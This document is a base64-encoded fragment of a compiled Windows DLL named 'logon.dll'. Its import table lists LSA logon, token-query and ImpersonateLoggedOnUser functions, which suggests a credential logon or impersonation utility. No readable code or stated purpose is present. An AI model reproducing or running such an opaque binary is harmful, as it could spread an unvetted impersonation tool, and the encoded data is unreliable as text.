D8WQEQBFoBEAAAAACMggEQAAAAAAAAAAD/////AAAAAEAAAADsWQEQAAAAAAAAAAAAAAAAEIIBEIhYARAAAAAAAAAAAAAAAACkggEQSFoBEAAAAAAAAAAAAgAAAFhaARBkWgEQbFgBEAAAAACkggEQAQAAAAAAAAD/////AAAAAEAAAABIWgEQAAAAAAAAAAABAAAAQFsBEByDARAAAAAAAAAAAP////8AAAAAQAAAAIBaARAAAAAAAAAAAAMAAAC8WgEQSFsBEOBaARCQWgEQAAAAAAAAAAAAAAAAAAAAAECDARCUWwEQQIMBEAEAAAAAAAAA/////wAAAABAAAAAlFsBEMSCARACAAAAAAAAAP////8AAAAAQAAAAGRbARAAAAAAAAAAAAAAAAAcgwEQgFoBEAAAAAAAAAAAAAAAAMSCARBkWwEQkFoBEAAAAADwggEQAgAAAAAAAAD/////AAAAAEAAAACsWgEQAAAAAAAAAAADAAAApFsBEAAAAAAAAAAAAAAAAPCCARCsWgEQ4FoBEJBaARAAAAAAAAAAAAAAAAACAAAAiFsBEPxaARDgWgEQkFoBEAAAAAAAAAAAAAAAAAAAAABUNgAAhTYAAPBDAADAjgAA4LQAAAD5AAAb+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiBZMZBAAAABRcARACAAAANFwBEAAAAAAAAAAAAAAAAAEAAAD/////AAAAAP////8AAAAAAQAAAAAAAAABAAAAAAAAAAIAAAACAAAAAwAAAAEAAABcXAEQAAAAAAAAAAADAAAAAQAAAGxcARBAAAAAAAAAAAAAAACyFwAQQAAAAAAAAAAAAAAAdRcAEAAAAAC2IgAQAAAAAIxcARACAAAAmFwBELRcARAQAAAA9IEBEAAAAAD/////AAAAAAwAAABKIgAQAAAAABCCARAAAAAA/////wAAAAAMAAAA9zoAEAAAAAAsggEQAAAAAP////8AAAAADAAAAIAiABAAAAAAwSIAEAAAAAD8XAEQAwAAAAxdARDQXAEQtFwBEAAAAABMggEQAAAAAP////8AAAAADAAAAGUiABAAAAAAwSIAEAAAAAA4XQEQAwAAAEhdARDQXAEQtFwBEAAAAABsggEQAAAAAP////8AAAAADAAAAJsiABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAXioAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADyLAAQAAAAAP7///8AAAAA1P///wAAAAD+////ii4AEKQuABAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAa0IAEAAAAAD+////AAAAANj///8AAAAA/v///ytNABBHTQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAABRPABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAArlcAEP7///8AAAAAulcAEP7///8AAAAA2P///wAAAAD+////AAAAAB5ZABD+////AAAAAC1ZABD+////AAAAAHz///8AAAAA/v///wAAAACRXAAQAAAAAP7///8AAAAA2P///wAAAAD+////xGUAEMhlABAAAAAA/v///wAAAADY////AAAAAP7///+QZQAQlGUAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABgcgAQAAAAACVyABAvcgAQ/v///wAAAACw////AAAAAP7///8AAAAAE2gAEAAAAABnZwAQcWcAEP7///8AAAAA2P///wAAAAD+////h28AEItvABAAAAAA/v///wAAAADY////AAAAAP7///9cZgAQZWYAEEAAAAAAAAAAAAAAAMBoABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAAGRfARAiBZMZAgAAAHRfARABAAAAhF8BEAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADU////AAAAAP7///9CcQAQRnEAEAAAAACiZgAQAAAAAOxfARACAAAA+F8BELRcARAAAAAApIIBEAAAAAD/////AAAAAAwAAACHZgAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAC6AABAAAAAA/v///wAAAADY////AAAAAP7///95gwAQjIMAEAAAAAD+////AAAAALz///8AAAAA/v///wAAAACChQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAF2JABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA2IoAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAADflwAQAAAAAP7///8AAAAAyP///wAAAAD+////AAAAADuhABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAsrEAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAADExgAQAAAAAAAAAACOxgAQ/v///wAAAADQ////AAAAAP7///8AAAAAbskAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAD8yQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAHjSABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAA5fMAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAADh9AAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAPH3ABAAAAAAAAAAAOPo+1IAAAAAMmIBAAEAAAABAAAAAQAAAChiAQAsYgEAMGIBAGAYAAA8YgEAAABsb2dvbi5kbGwAVm9pZEZ1bmMAAAAAsGMBAAAAAAAAAAAACGQBABgBAQCsYgEAAAAAAAAAAACCZAEAFAABAJhiAQAAAAAAAAAAAOxkAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAC8ZAEAqGQBAJBkAQDSZAEAAAAAACJkAQAuZAEAQmQBABRkAQBiZAEAamQBAHZkAQDYaAEA6GgBAPhoAQBSZAEAsGYBAPpkAQAKZQEAGmUBACxlAQBCZQEAVGUBAGBlAQB0ZQEAkGUBAJ5lAQC0ZQEAxmUBANxlAQDyZQEA/mUBAApmAQAWZgEAJmYBADhmAQBIZgEAVmYBAG5mAQCAZgEAlmYBAAxpAQDGZgEA4GYBAPpmAQAUZwEAMGcBAE5nAQB2ZwEAimcBAJZnAQCkZwEAsmcBALxnAQDQZwEA6GcBAABoAQAWaAEAKGgBADpoAQBEaAEAUGgBAFxoAQBqaAEAemgBAIpoAQCcaAEAsGgBAMZoAQAAAAAA+GMBANZjAQDAYwEAAAAAACYATHNhQ29ubmVjdFVudHJ1c3RlZAAsAExzYUxvb2t1cEF1dGhlbnRpY2F0aW9uUGFja2FnZQAAKwBMc2FMb2dvblVzZXIAAFNlY3VyMzIuZGxsAMIAQ3JlYXRlRmlsZVcATwRSZWFkRmlsZQAACQJHZXRDdXJyZW50UHJvY2VzcwBQAkdldExhc3RFcnJvcgAA0QBDcmVhdGVNdXRleFcAAFAFU2xlZXAACQZsc3RybGVuVwAA3wVXcml0ZUZpbGUAS0VSTkVMMzIuZGxsAADTAUxzYU50U3RhdHVzVG9XaW5FcnJvcgASAk9wZW5Qcm9jZXNzVG9rZW4AAG8BR2V0VG9rZW5JbmZvcm1hdGlvbgCJAUltcGVyc29uYXRlTG9nZ2VkT25Vc2VyAEFEVkFQSTMyLmRsbAAAIQFFbmNvZGVQb2ludGVyAP4ARGVjb2RlUG9pbnRlcgDIAUdldENvbW1hbmRMaW5lQQAOAkdldEN1cnJlbnRUaHJlYWRJZAAAPwRSYWlzZUV4Y2VwdGlvbgAArARSdGxVbndpbmQAZwNJc0RlYnVnZ2VyUHJlc2VudABtA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAUQFFeGl0UHJvY2VzcwBmAkdldE1vZHVsZUhhbmRsZUV4VwAAnQJHZXRQcm9jQWRkcmVzcwAA0QNNdWx0aUJ5dGVUb1dpZGVDaGFyAMsFV2lkZUNoYXJUb011bHRpQnl0ZQA4A0hlYXBTaXplAAAzA0hlYXBGcmVlAAAvA0hlYXBBbGxvYwAKBVNldExhc3RFcnJvcgAAogJHZXRQcm9jZXNzSGVhcAAAwAJHZXRTdGRIYW5kbGUAAD4CR2V0RmlsZVR5cGUABQFEZWxldGVDcml0aWNhbFNlY3Rpb24AvgJHZXRTdGFydHVwSW5mb1cAYgJHZXRNb2R1bGVGaWxlTmFtZUEAAC0EUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIACgJHZXRDdXJyZW50UHJvY2Vzc0lkANYCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAJwJHZXRFbnZpcm9ubWVudFN0cmluZ3NXAACdAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAIAFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABBBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBIA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAXwVUZXJtaW5hdGVQcm9jZXNzAABxBVRsc0FsbG9jAABzBVRsc0dldFZhbHVlAHQFVGxzU2V0VmFsdWUAcgVUbHNGcmVlAGcCR2V0TW9kdWxlSGFuZGxlVwAAJQFFbnRlckNyaXRpY2FsU2VjdGlvbgAAogNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAYwJHZXRNb2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